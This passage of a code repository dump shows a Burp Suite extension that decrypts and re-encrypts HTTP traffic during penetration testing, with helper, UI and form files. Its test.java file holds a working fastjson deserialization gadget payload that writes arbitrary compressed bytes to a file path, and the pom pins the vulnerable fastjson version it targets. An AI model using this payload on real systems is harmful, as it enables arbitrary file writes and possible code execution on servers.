61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | net.portswigger.burp.extender 97 | burp-extender-api 98 | 2.1 99 | 100 | 101 | 102 | org.apache.commons 103 | commons-text 104 | 1.6 105 | 106 | 107 | 108 | com.intellij 109 | forms_rt 110 | 7.0.3 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | org.bouncycastle 129 | bcprov-jdk15on 130 | 1.60 131 | 132 | 133 | 134 | 135 | 136 | org.apache.maven.plugins 137 | maven-compiler-plugin 138 | 3.7.0 139 | 140 | 141 | 142 | commons-codec 143 | commons-codec 144 | 1.4 145 | 146 | 147 | 148 | com.squareup.okhttp3 149 | okhttp 150 | 4.9.1 151 | 152 | 153 | 154 | com.alibaba 155 | fastjson 156 | 1.2.80 157 | 158 | 159 | 160 | cn.hutool 161 | hutool-all 162 | 5.8.24 163 | 164 | 165 | 166 | com.fifesoft 167 | rsyntaxtextarea 168 | 3.3.3 169 | 170 | 171 | 172 | commons-codec 173 | commons-codec 174 | 1.10 175 | 176 | 177 | 178 | 179 | com.google.code.gson 180 | gson 181 | [2.3.1,) 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | -------------------------------------------------------------------------------- /src/Utils/ClickEncodeDecode.java: -------------------------------------------------------------------------------- 1 | package Utils; 2 | 3 | import burp.*; 4 | 5 | import java.util.Arrays; 6 | import java.util.List; 7 | 8 | import static burp.BurpExtender.sendPostnew; 9 | import static com.autoDecoder.util.codeDecode.decryptKeyivmode; 10 | import static com.autoDecoder.util.codeEncode.encryptKeyivmode; 11 | 12 | /** 13 | * @DESCRIPTION: 14 | * @USER: f0ng 15 | * @DATE: 2023/7/2 下午10:38 16 | */ 17 | public class ClickEncodeDecode { 18 | 19 | public static void Decode(IContextMenuInvocation iContextMenuInvocation, String selectString) throws Exception { 20 | //获取原请求信息 21 | IHttpRequestResponse currentRequest = iContextMenuInvocation.getSelectedMessages()[0]; 22 | IRequestInfo requestInfo = BurpExtender.helpers.analyzeRequest(currentRequest); 23 | List headers = requestInfo.getHeaders(); 24 | String[] respDecodeParams = IndexautoDecoder.getRespDecodeParams(); // 获取解密数组 25 | if (IndexautoDecoder.getRadioButton1State()) { // 自带加解密 26 | //更新header 27 | String decode_text = decryptKeyivmode(selectString, respDecodeParams[5], respDecodeParams[6], respDecodeParams[0], respDecodeParams[1], respDecodeParams[2], respDecodeParams[3], respDecodeParams[4]); 28 | byte[] newMessage = BurpExtender.helpers.buildHttpMessage(headers, getHttpRequestBody(currentRequest,selectString, decode_text)); 29 | 30 | currentRequest.setRequest(newMessage); 31 | }else if(IndexautoDecoder.getRadioButton2State()){ // 接口加解密 32 | //更新header 33 | String decodeTotal = sendPostnew(IndexautoDecoder.getDecodeApi(), selectString); 34 | byte[] newMessage = BurpExtender.helpers.buildHttpMessage(headers, getHttpRequestBody(currentRequest, selectString ,decodeTotal)); 35 | currentRequest.setRequest(newMessage); 36 | } 37 | } 38 | 39 | public static void Encode(IContextMenuInvocation iContextMenuInvocation, String selectString) throws Exception { 40 | //获取原请求信息 41 | IHttpRequestResponse currentRequest = iContextMenuInvocation.getSelectedMessages()[0]; 42 | IRequestInfo requestInfo = BurpExtender.helpers.analyzeRequest(currentRequest); 43 | List headers = requestInfo.getHeaders(); 44 | String[] respDecodeParams = IndexautoDecoder.getRespDecodeParams(); // 获取解密数组 45 | 46 | if (IndexautoDecoder.getRadioButton1State()) { // 自带加解密 47 | //更新header 48 | String decode_text = encryptKeyivmode(selectString, respDecodeParams[5], respDecodeParams[6], respDecodeParams[0], respDecodeParams[1], respDecodeParams[2], respDecodeParams[3], respDecodeParams[4]); 49 | byte[] newMessage = BurpExtender.helpers.buildHttpMessage(headers, getHttpRequestBody(currentRequest,selectString, decode_text)); 50 | 51 | currentRequest.setRequest(newMessage); 52 | }else if(IndexautoDecoder.getRadioButton2State()){ // 接口加解密 53 | //更新header 54 | String decodeTotal = sendPostnew(IndexautoDecoder.getEncodeApi(), selectString); 55 | byte[] newMessage = BurpExtender.helpers.buildHttpMessage(headers, getHttpRequestBody(currentRequest, selectString ,decodeTotal)); 56 | currentRequest.setRequest(newMessage); 57 | } 58 | } 59 | 60 | private static byte[] getHttpRequestBody(IHttpRequestResponse httpRequestResponse, String codeString , String selectString) { 61 | byte[] request = httpRequestResponse.getRequest(); 62 | IRequestInfo requestInfo = BurpExtender.helpers.analyzeRequest(request); 63 | 64 | int bodyOffset = requestInfo.getBodyOffset(); 65 | byte[] httpBody = Arrays.copyOfRange(request, bodyOffset, request.length); 66 | 67 | BurpExtender.stdout.println(new String(httpBody)); 68 | String code_body = new String(httpBody); 69 | code_body = code_body.replace(codeString,selectString); 70 | 71 | return code_body.getBytes(); 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /src/Utils/Match.java: -------------------------------------------------------------------------------- 1 | package Utils; 2 | 3 | import java.util.regex.Matcher; 4 | import java.util.regex.Pattern; 5 | 6 | /** 7 | * @DESCRIPTION: 8 | * @USER: f0ng 9 | * @DATE: 2023/2/15 下午10:01 10 | */ 11 | public class Match { 12 | public static void main(String[] args) { 13 | // System.out.println(MatchReg("----------856810576\n" + 14 | // "Content-Disposition: form-data; name=\"id\"\n" + 15 | // "\n" + 16 | // "111\n" + 17 | // "----------856810576--","\"id\"\\r\\n\\r\\n([^\\n]*)\\r\\n".replace("\\r\\n","\n"))); 18 | 19 | System.out.println(MatchReg("admin=1111&password=1111","password=(.*)")); 20 | 21 | // String total = ""; 22 | // String data = "GET /6ONWsjip0QIZ8tyhnq/ps_default.gif?_t=1700485217628 HTTP/1.1\r\n" + 23 | // "Host: ss3.baidu.com\r\n" + 24 | // "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/119.0\r\n" + 25 | // "Accept: image/avif,image/webp,*/*\r\n" + 26 | // "Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\r\n" + 27 | // "Referer: https://www.baidu.com/\r\n" + 28 | // "Connection: close\r\n" + 29 | // "Cookie: BAIDUID=B2CF572646927252617315D108A6056E:FG=1; BIDUPSID=B2CF572646927252BD630617148DF75A; PSTM=1699857307; ZFY=9yhuR:AiB2wvMy6AZ0pNw8l4RGVr1AiKn85hc1XhJoT0:C; BDRCVFR[Fc9oatPmwxn]=aeXf-1x8UdYcs; BDRCVFR[S4-dAuiWMmn]=6ILBVOWw0XbfAdEUhkGUhNxndqbus; delPer=0; PSINO=3; H_PS_PSSID=39634_39673_39663_39676_39679_39713_39736_39779_39787_39703; BA_HECTOR=000l0h8i8k0g048kag248l8i1ilmm1t1r; BDORZ=B490B5EBF6F3CD402E515D22BCDA1598\r\n" + 30 | // "Sec-Fetch-Dest: image\r\n" + 31 | // "Sec-Fetch-Mode: no-cors\r\n" + 32 | // "Sec-Fetch-Site: same-site\r\n" + 33 | // "\r\n" + 34 | // "a=111111&b=222222"; 35 | // String pattern = "a=.*&" ; 36 | // Pattern r = Pattern.compile(pattern); 37 | // Matcher m = r.matcher(data); 38 | // if (m.find()) { 39 | // total = m.group(0); 40 | // } 41 | // System.out.println(total); 42 | } 43 | 44 | public static String MatchReg(String data, String reg){ 45 | String total = ""; 46 | String pattern = reg ; 47 | Pattern r = Pattern.compile(pattern); 48 | Matcher m = r.matcher(data); 49 | if (m.find()) { 50 | total = m.group(1); 51 | } 52 | System.out.println(m.group(0)); 53 | 54 | return total; 55 | 56 | } 57 | 58 | public static String MatchReg_code(String data, String reg){ 59 | String total = ""; 60 | String pattern = reg ; 61 | Pattern r = Pattern.compile(pattern); 62 | Matcher m = r.matcher(data); 63 | if (m.find()) { 64 | total = m.group(0); 65 | } 66 | 67 | return total; 68 | 69 | } 70 | } 71 | -------------------------------------------------------------------------------- /src/Utils/TestDecode.java: -------------------------------------------------------------------------------- 1 | package Utils; 2 | 3 | import burp.IndexautoDecoder; 4 | 5 | import java.io.IOException; 6 | 7 | import static burp.BurpExtender.*; 8 | 9 | /** 10 | * @DESCRIPTION: 11 | * @USER: f0ng 12 | * @DATE: 2023/2/15 下午3:15 13 | */ 14 | public class TestDecode { 15 | public static void main(String[] args) throws IOException { 16 | String Input = "POST /testsql.php HTTP/1.1\n" + 17 | "Host: 10.211.55.4\n" + 18 | "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0\n" + 19 | "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\n" + 20 | "Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\n" + 21 | "Accept-Encoding: gzip, deflate\n" + 22 | "Connection: close\n" + 23 | "Upgrade-Insecure-Requests: 1\n" + 24 | "Content-Type: application/x-www-form-urlencoded\n" + 25 | "Content-Length: 24\n" + 26 | "\n" + 27 | "I9z1fsH5QQ2NUbJi/7a8lw=="; 28 | System.out.println(TestDecode(Input, "request")); 29 | } 30 | public static String TestDecode(String Data,String reqorresp) throws IOException { 31 | String Output = ""; 32 | String decodeTotal = ""; 33 | String[] decodeTotallists = null; 34 | // Data = Data + "\n\n"; 35 | String[] DataLists = Data.replace("\r", "").split("\n\n",2); 36 | // if (DataLists.length > 1) { // POST 37 | 38 | if (IndexautoDecoder.getRadioButtontestHeaderState() && IndexautoDecoder.getRadioButtontestdifferentState()) { // 选中对数据头处理、选中请求响应分开 39 | 40 | decodeTotallists = sendPostnewHeader(IndexautoDecoder.getDecodeApi(), DataLists[1], DataLists[0] + "\n", reqorresp); 41 | if (decodeTotallists.length == 1) { 42 | Output = decodeTotallists[0]; 43 | } else { 44 | if (decodeTotallists[0].endsWith("\n")) 45 | Output = decodeTotallists[0] + "\n" + decodeTotallists[1]; 46 | else{ 47 | Output = decodeTotallists[0] + "\n\n" + decodeTotallists[1]; 48 | } 49 | } 50 | 51 | } else { 52 | if (IndexautoDecoder.getRadioButtontestHeaderState()) { // 选中对数据头处理 53 | decodeTotallists = sendPostnewHeader(IndexautoDecoder.getDecodeApi(), DataLists[1], DataLists[0] + "\n"); 54 | if (decodeTotallists.length == 1) { 55 | Output = decodeTotallists[0]; 56 | } else { 57 | if (decodeTotallists[0].endsWith("\n")) 58 | Output = decodeTotallists[0] + "\n" + decodeTotallists[1]; 59 | else{ 60 | Output = decodeTotallists[0] + "\n\n" + decodeTotallists[1]; 61 | } 62 | } 63 | } 64 | 65 | if (IndexautoDecoder.getRadioButtontestdifferentState()) { // 选中请求响应分开 66 | decodeTotal = sendPostnew(IndexautoDecoder.getDecodeApi(), DataLists[1], reqorresp); 67 | Output = Data.replace(DataLists[1], decodeTotal); 68 | } 69 | 70 | if (!IndexautoDecoder.getRadioButtontestdifferentState() && !IndexautoDecoder.getRadioButtontestHeaderState()) { // 不选中对数据头处理且不选中请求响应分开 71 | decodeTotal = sendPostnew(IndexautoDecoder.getDecodeApi(), DataLists[1]); 72 | Output = Data.replace(DataLists[1], decodeTotal); 73 | } 74 | } 75 | return Output.trim(); 76 | // return Output.trim()+"\n\n"; 77 | // }else{ // GET 78 | // 79 | // if (IndexautoDecoder.getRadioButtontestHeaderState() && IndexautoDecoder.getRadioButtontestdifferentState()) { // 选中对数据头处理、选中请求响应分开 80 | // 81 | // decodeTotallists = sendPostnewHeader(IndexautoDecoder.getDecodeApi(), "", DataLists[0] + "\n", reqorresp); 82 | // if (decodeTotallists.length == 1) { 83 | // Output = decodeTotallists[0]; 84 | // } else { 85 | // Output = decodeTotallists[0] + "\n" + decodeTotallists[1]; 86 | // } 87 | // 88 | // } else { 89 | // if (IndexautoDecoder.getRadioButtontestHeaderState()) { // 选中对数据头处理 90 | // decodeTotallists = sendPostnewHeader(IndexautoDecoder.getDecodeApi(), "", DataLists[0] + "\n"); 91 | // if (decodeTotallists.length == 1) { 92 | // Output = decodeTotallists[0]; 93 | // } else { 94 | // Output = decodeTotallists[0] + "\n" + decodeTotallists[1]; 95 | // } 96 | // } 97 | // } 98 | // return Output.trim(); 99 | // } 100 | } 101 | 102 | } 103 | -------------------------------------------------------------------------------- /src/Utils/TestEncode.java: -------------------------------------------------------------------------------- 1 | package Utils; 2 | 3 | import burp.IndexautoDecoder; 4 | import com.google.gson.Gson; 5 | import com.google.gson.GsonBuilder; 6 | import com.google.gson.JsonElement; 7 | import com.google.gson.JsonParser; 8 | 9 | import java.io.IOException; 10 | 11 | import static burp.BurpExtender.sendPostnew; 12 | import static burp.BurpExtender.sendPostnewHeader; 13 | 14 | /** 15 | * @DESCRIPTION: 16 | * @USER: f0ng 17 | * @DATE: 2023/2/15 下午3:15 18 | */ 19 | public class TestEncode { 20 | public static void main(String[] args) { 21 | System.out.println(beauty("{\"aaaa\":\"axxx\"}")); 22 | } 23 | 24 | public static String beauty(String inputJson) { 25 | //Take the input, determine request/response, parse as json, then print prettily. 26 | Gson gson = new GsonBuilder().setPrettyPrinting().disableHtmlEscaping().serializeNulls().create(); 27 | JsonParser jp = new JsonParser(); 28 | JsonElement je = jp.parse(inputJson); 29 | return gson.toJson(je); 30 | } 31 | 32 | public static String TestEncode(String Data,String reqorresp) throws IOException { 33 | String Output = ""; 34 | String decodeTotal = ""; 35 | String[] decodeTotallists = null; 36 | // Data = Data + "\n\n"; 37 | String[] DataLists = Data.replace("\r", "").split("\n\n",2); 38 | // if (DataLists.length > 1) { // POST 39 | 40 | if (IndexautoDecoder.getRadioButtontestHeaderState() && IndexautoDecoder.getRadioButtontestdifferentState()) { // 选中对数据头处理、选中请求响应分开 41 | 42 | decodeTotallists = sendPostnewHeader(IndexautoDecoder.getEncodeApi(), DataLists[1], DataLists[0] + "\n", reqorresp); 43 | if (decodeTotallists.length == 1) { 44 | Output = decodeTotallists[0]; 45 | } else { 46 | if (decodeTotallists[0].endsWith("\n")) 47 | Output = decodeTotallists[0] + "\n" + decodeTotallists[1]; 48 | else{ 49 | Output = decodeTotallists[0] + "\n\n" + decodeTotallists[1]; 50 | } 51 | } 52 | 53 | } else { 54 | if (IndexautoDecoder.getRadioButtontestHeaderState()) { // 选中对数据头处理 55 | decodeTotallists = sendPostnewHeader(IndexautoDecoder.getEncodeApi(), DataLists[1], DataLists[0] + "\n"); 56 | if (decodeTotallists.length == 1) { 57 | Output = decodeTotallists[0]; 58 | } else { 59 | if (decodeTotallists[0].endsWith("\n")) 60 | Output = decodeTotallists[0] + "\n" + decodeTotallists[1]; 61 | else{ 62 | Output = decodeTotallists[0] + "\n\n" + decodeTotallists[1]; 63 | } 64 | } 65 | } 66 | 67 | if (IndexautoDecoder.getRadioButtontestdifferentState()) { // 选中请求响应分开 68 | decodeTotal = sendPostnew(IndexautoDecoder.getEncodeApi(), DataLists[1], reqorresp); 69 | Output = Data.replace(DataLists[1], decodeTotal); 70 | } 71 | 72 | if (!IndexautoDecoder.getRadioButtontestdifferentState() && !IndexautoDecoder.getRadioButtontestHeaderState()) { // 不选中对数据头处理且不选中请求响应分开 73 | decodeTotal = sendPostnew(IndexautoDecoder.getEncodeApi(), DataLists[1]); 74 | Output = Data.replace(DataLists[1], decodeTotal); 75 | } 76 | } 77 | return Output.trim(); 78 | // return Output.trim()+"\n\n"; 79 | // }else{ 80 | // 81 | // if (IndexautoDecoder.getRadioButtontestHeaderState() && IndexautoDecoder.getRadioButtontestdifferentState()) { // 选中对数据头处理、选中请求响应分开 82 | // 83 | // decodeTotallists = sendPostnewHeader(IndexautoDecoder.getEncodeApi(), DataLists[1], DataLists[0] + "\n", reqorresp); 84 | // if (decodeTotallists.length == 1) { 85 | // Output = decodeTotallists[0]; 86 | // } else { 87 | // Output = decodeTotallists[0] + "\n" + decodeTotallists[1]; 88 | // } 89 | // 90 | // } else { 91 | // if (IndexautoDecoder.getRadioButtontestHeaderState()) { // 选中对数据头处理 92 | // decodeTotallists = sendPostnewHeader(IndexautoDecoder.getEncodeApi(), DataLists[1], DataLists[0] + "\n"); 93 | // if (decodeTotallists.length == 1) { 94 | // Output = decodeTotallists[0]; 95 | // } else { 96 | // Output = decodeTotallists[0] + "\n" + decodeTotallists[1]; 97 | // } 98 | // } 99 | // } 100 | // return Output.trim(); 101 | // } 102 | 103 | } 104 | } 105 | -------------------------------------------------------------------------------- /src/Utils/Utils.java: -------------------------------------------------------------------------------- 1 | package Utils; 2 | 3 | import burp.BurpExtender; 4 | import burp.IHttpRequestResponse; 5 | import burp.IRequestInfo; 6 | import burp.ui.HackvertorInput; 7 | //import burp.util.BurpCallbacks; 8 | import org.fife.ui.rsyntaxtextarea.RSyntaxTextArea; 9 | import org.fife.ui.rsyntaxtextarea.Theme; 10 | import org.fife.ui.rtextarea.RTextArea; 11 | 12 | import javax.swing.*; 13 | import java.awt.*; 14 | import java.awt.event.ActionEvent; 15 | import java.awt.event.ActionListener; 16 | import java.io.IOException; 17 | import java.util.List; 18 | 19 | /** 20 | * @DESCRIPTION: 21 | * @USER: f0ng 22 | * @DATE: 2023/5/21 下午1:57 23 | */ 24 | public class Utils { 25 | 26 | private static JPopupMenu menu; 27 | 28 | private static JMenuItem menuRepeater; 29 | private static JMenuItem menuReissue; 30 | private static JMenuItem menuCopy; 31 | // private static JMenuItem menuCopySmart; 32 | 33 | public static void applyThemeToRSyntaxTextArea(RSyntaxTextArea area, String themeName) { 34 | try { 35 | Theme theme = Theme.load(Utils.class.getResourceAsStream( 36 | "/org/fife/ui/rsyntaxtextarea/themes/"+themeName+".xml")); 37 | theme.apply(area); 38 | } catch (IOException ioe) { 39 | ioe.printStackTrace(); 40 | } 41 | } 42 | 43 | public static void configureRSyntaxArea(RSyntaxTextArea area) { 44 | area.setLineWrap(true); 45 | if(BurpExtender.isDarkTheme) { 46 | Utils.applyThemeToRSyntaxTextArea(area, "dark"); 47 | } 48 | BurpExtender.callbacks.customizeUiComponent(area); 49 | area.setFont(new Font("Courier New", Font.PLAIN, area.getFont().getSize())); 50 | } 51 | 52 | public static JPopupMenu getPopup(RSyntaxTextArea hackvertorInput ) { 53 | menu = new JPopupMenu("Message"); 54 | menuCopy = new JMenuItem(RSyntaxTextArea.getAction(RTextArea.COPY_ACTION)); 55 | menu.add(menuCopy); 56 | 57 | menuRepeater = new JMenuItem("Send to Repeater"); 58 | menuRepeater.addActionListener(new ActionListener(){ 59 | public void actionPerformed(ActionEvent arg0) { 60 | // BurpExtender.helpers. 61 | IRequestInfo requestInfo = BurpExtender.helpers.analyzeRequest(hackvertorInput.getText().getBytes()); 62 | BurpExtender.stdout.println(requestInfo); 63 | // c_sendToRepeater(ihttpreqresp); 64 | try { 65 | c_sendToRepeater(requestInfo, hackvertorInput.getText().getBytes()); 66 | }catch (Exception e){ 67 | BurpExtender.stdout.println(e.getMessage()); 68 | } 69 | // BurpExtender.stdout.println(hackvertorInput.getText()); 70 | 71 | } 72 | }); 73 | menu.add(menuRepeater); 74 | 75 | menuReissue = new JMenuItem("Send to Intruder"); 76 | menuReissue.addActionListener(new ActionListener(){ 77 | public void actionPerformed(ActionEvent arg0) { 78 | IRequestInfo requestInfo = BurpExtender.helpers.analyzeRequest(hackvertorInput.getText().getBytes()); 79 | BurpExtender.stdout.println(requestInfo); 80 | // c_sendToRepeater(ihttpreqresp); 81 | try { 82 | c_sendToIntruder(requestInfo, hackvertorInput.getText().getBytes()); 83 | }catch (Exception e){ 84 | BurpExtender.stdout.println(e.getMessage()); 85 | } 86 | } 87 | }); 88 | menu.add(menuReissue); 89 | 90 | // menuCopySmart = new JMenuItem("Copy Smart"); 91 | // menuCopySmart.addActionListener(new ActionListener(){ 92 | // public void actionPerformed(ActionEvent arg0) { 93 | // 94 | // } 95 | // }); 96 | // menu.add(menuCopySmart); 97 | 98 | return menu; 99 | } 100 | 101 | 102 | /** 103 | * void sendToRepeater( 104 | * String host, 105 | * int port, 106 | * boolean useHttps, 107 | * byte[] request, 108 | * String tabCaption); 109 | */ 110 | public static void c_sendToRepeater(IRequestInfo iRequestInfo,byte[] request) { 111 | String host = null; 112 | int port = 0; 113 | List headersList = iRequestInfo.getHeaders(); 114 | 115 | // BurpCallbacks.getInstance().sendToRepeater(); 116 | 117 | // new StandaloneBurpRequestInfo(iRequestInfo.get); 118 | 119 | // if (iRequestInfo.getUrl().toString().contains("https")) 120 | // BurpExtender.usehttps = true; 121 | 122 | for (String header : headersList) { 123 | String[] host_lists = header.split(":",2); 124 | if (host_lists[0].toLowerCase().equals("host")) { 125 | host = headersTohost(host_lists[1]).trim(); 126 | port = headersToport(host_lists[1],BurpExtender.usehttps); 127 | } 128 | } 129 | 130 | BurpExtender.stdout.println(BurpExtender.usehttps); 131 | BurpExtender.callbacks.sendToRepeater( 132 | host, 133 | port, 134 | BurpExtender.usehttps, 135 | request , 136 | "autoDecoder"); 137 | } 138 | 139 | // public void cc_sendToRepeater() { 140 | // BurpCallbacks.getInstance().sendToRepeater(httpMessage); 141 | // } 142 | 143 | public static void c_sendToIntruder(IRequestInfo iRequestInfo,byte[] request) { 144 | String host = null; 145 | int port = 0; 146 | List headersList = iRequestInfo.getHeaders(); 147 | // if (iRequestInfo.getUrl().getProtocol().contains("https")) 148 | // BurpExtender.usehttps = true; 149 | for (String header : headersList) { 150 | String[] host_lists = header.split(":",2); 151 | if (host_lists[0].toLowerCase().equals("host")) { 152 | host = headersTohost(host_lists[1]).trim(); 153 | port = headersToport(host_lists[1],BurpExtender.usehttps); 154 | } 155 | } 156 | BurpExtender.callbacks.sendToIntruder( 157 | host, 158 | port, 159 | BurpExtender.usehttps, 160 | request ); 161 | } 162 | 163 | public static String headersTohost(String hostport){ 164 | String host = ""; 165 | String[] hostports ; 166 | if (hostport.contains(":")) { 167 | hostports = hostport.split(":"); 168 | host = hostports[0]; 169 | }else{ 170 | host = hostport; 171 | } 172 | return host; 173 | } 174 | 175 | public static int headersToport(String hostport,Boolean usehttps){ 176 | int port ; 177 | String[] hostports ; 178 | if (hostport.contains(":")) { 179 | hostports = hostport.split(":"); 180 | port = Integer.parseInt(hostports[1]); 181 | }else{ 182 | if (usehttps) 183 | port = 443; 184 | else 185 | port =80; 186 | } 187 | return port; 188 | } 189 | 190 | } 191 | -------------------------------------------------------------------------------- /src/burp/IndexautoDecoder.form: -------------------------------------------------------------------------------- 1 | 2 |
3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213 | 214 | 215 | 216 | 217 | 218 | 219 | 220 | 221 | 222 | 223 | 224 | 225 | 226 | 227 | 228 | 229 | 230 | 231 | 232 | 233 | 234 | 235 | 236 | 237 | 238 | 239 | 240 | 241 | 242 | 243 | 244 | 245 | 246 | 247 | 248 | 249 | 250 | 251 | 252 | 253 | 254 | 255 | 256 | 257 | 258 | 259 | 260 | 261 | 262 | 263 | 264 | 265 | 266 | 267 | 268 | 269 | 270 | 271 | 272 | 273 | 274 | 275 | 276 | 277 | 278 | 279 | 280 | 281 | 282 | 283 | 284 | 285 | 286 | 287 | 288 | 289 | 290 | 291 | 292 | 293 | 294 | 295 | 296 | 297 | 298 | 299 | 300 | 301 | 302 | 303 | 304 | 305 | 306 | 307 | 308 | 309 | 310 | 311 | 312 | 313 | 314 | 315 | 316 | 317 | 318 | 319 | 320 | 321 | 322 | 323 | 324 | 325 | 326 | 327 | 328 | 329 | 330 | 331 | 332 | 333 | 334 | 335 | 336 | 337 | 338 | 339 | 340 | 341 | 342 | 343 | 344 | 345 | 346 | 347 | 348 | 349 | 350 | 351 | 352 | 353 | 354 | 355 | 356 | 357 | 358 | 359 | 360 | 361 | 362 | 363 |
364 | -------------------------------------------------------------------------------- /src/burp/test.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import java.io.BufferedReader; 4 | import java.io.IOException; 5 | import java.io.InputStreamReader; 6 | import java.io.PrintWriter; 7 | import java.net.URL; 8 | import java.net.URLConnection; 9 | import java.util.Arrays; 10 | import java.util.HashMap; 11 | 12 | import com.alibaba.fastjson.JSON; 13 | import okhttp3.*; 14 | 15 | /** 16 | * @author f0ng 17 | * @date 2022/4/22 18 | */ 19 | public class test { 20 | public static void main(String[] args) { 21 | String testJson = "{\n" + 22 | " '@type':\"java.lang.AutoCloseable\",\n" + 23 | " '@type':'sun.rmi.server.MarshalOutputStream',\n" + 24 | " 'out':\n" + 25 | " {\n" + 26 | " '@type':'java.util.zip.InflaterOutputStream',\n" + 27 | " 'out':\n" + 28 | " {\n" + 29 | " '@type':'java.io.FileOutputStream',\n" + 30 | " 'file':'/Users/f0ng/tmp/fj_hack_jdk11',\n" + 31 | " 'append':false\n" + 32 | " },\n" + 33 | " 'infl':\n" + 34 | " {\n" + 35 | " 'input':\n" + 36 | " {\n" + 37 | " 'array':'eNoLz0gsKS4uLVBIL60s1lEoycgsVgCiXAPDVD0FT/VchYzUolSFknyF8sSSzLx0hbT8IoVQhbz8cj0uAGcUE78=',\n" + 38 | " 'limit':65\n" + 39 | " }\n" + 40 | " },\n" + 41 | " 'bufLen':1048576\n" + 42 | " },\n" + 43 | " 'protocolVersion':1\n" + 44 | "}\n"; 45 | 46 | JSON.parse(testJson); 47 | } 48 | 49 | 50 | } 51 | -------------------------------------------------------------------------------- /src/burp/ui/FileReadingGUI.java: -------------------------------------------------------------------------------- 1 | package burp.ui; 2 | 3 | import javax.swing.*; 4 | import java.awt.*; 5 | import java.awt.event.ActionEvent; 6 | import java.awt.event.ActionListener; 7 | import java.io.BufferedReader; 8 | import java.io.File; 9 | import java.io.FileReader; 10 | import java.io.IOException; 11 | 12 | public class FileReadingGUI extends JFrame { 13 | private JButton selectButton; 14 | private JFileChooser fileChooser; 15 | 16 | public FileReadingGUI() { 17 | // 设置窗口标题 18 | setTitle("文件读取"); 19 | 20 | // 创建选择按钮 21 | selectButton = new JButton("选择文件"); 22 | 23 | // 创建文件选择对话框 24 | fileChooser = new JFileChooser(); 25 | 26 | // 添加按钮点击事件监听器 27 | selectButton.addActionListener(new ActionListener() { 28 | @Override 29 | public void actionPerformed(ActionEvent e) { 30 | // 显示文件选择对话框 31 | int result = fileChooser.showOpenDialog(FileReadingGUI.this); 32 | 33 | // 判断是否选择了文件 34 | if (result == JFileChooser.APPROVE_OPTION) { 35 | // 获取选择的文件 36 | File selectedFile = fileChooser.getSelectedFile(); 37 | 38 | // 读取文件内容并打印 39 | try (BufferedReader reader = new BufferedReader(new FileReader(selectedFile))) { 40 | String line; 41 | while ((line = reader.readLine()) != null) { 42 | System.out.println(line); 43 | } 44 | } catch (IOException ex) { 45 | ex.printStackTrace(); 46 | } 47 | } 48 | } 49 | }); 50 | 51 | // 设置布局管理器 52 | setLayout(new FlowLayout()); 53 | 54 | // 添加选择按钮到窗口 55 | add(selectButton); 56 | 57 | // 设置窗口大小和关闭操作 58 | setSize(300, 200); 59 | setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); 60 | 61 | // 显示窗口 62 | setVisible(true); 63 | } 64 | 65 | public static void main(String[] args) { 66 | // 创建并显示GUI界面 67 | SwingUtilities.invokeLater(new Runnable() { 68 | @Override 69 | public void run() { 70 | new FileReadingGUI(); 71 | } 72 | }); 73 | } 74 | } -------------------------------------------------------------------------------- /src/burp/ui/FileSavingGUI.java: -------------------------------------------------------------------------------- 1 | package burp.ui; 2 | 3 | import javax.swing.*; 4 | import java.awt.*; 5 | import java.awt.event.ActionEvent; 6 | import java.awt.event.ActionListener; 7 | import java.io.BufferedWriter; 8 | import java.io.File; 9 | import java.io.FileWriter; 10 | import java.io.IOException; 11 | 12 | public class FileSavingGUI extends JFrame { 13 | private JButton saveButton; 14 | private JFileChooser fileChooser; 15 | 16 | public FileSavingGUI() { 17 | // 设置窗口标题 18 | setTitle("文件保存"); 19 | 20 | // 创建保存按钮 21 | saveButton = new JButton("保存文件"); 22 | 23 | // 